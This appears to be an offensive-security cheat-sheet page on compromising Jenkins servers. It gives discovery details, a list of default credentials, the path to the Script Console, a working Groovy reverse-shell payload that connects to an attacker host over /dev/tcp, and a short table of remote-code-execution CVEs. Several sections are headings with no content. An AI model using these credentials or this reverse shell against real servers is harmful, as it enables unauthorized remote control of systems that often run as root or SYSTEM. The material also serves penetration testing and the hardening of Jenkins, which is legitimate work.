githubEdit

Jenkins

Discovery

  • Default port: 8080

  • Also uses port 5000 for slave servers

  • Runs on Tomcat

  • Often runs as SYSTEM (Windows) or root (Linux)

Default Credentials

admin:admin
admin:password
jenkins:jenkins

Script Console RCE (Authenticated)

Path: Manage Jenkins → Script Console or /script

Linux Reverse Shell (Groovy)

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKER_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Linux - Alternative

Windows Command Execution

Windows Reverse Shell (Groovy)


Metasploit


CVEs

CVE
Description

CVE-2018-1999002 + CVE-2019-1003000

Pre-auth RCE (v2.137)

CVE-2019-1003000

Sandbox bypass

Last updated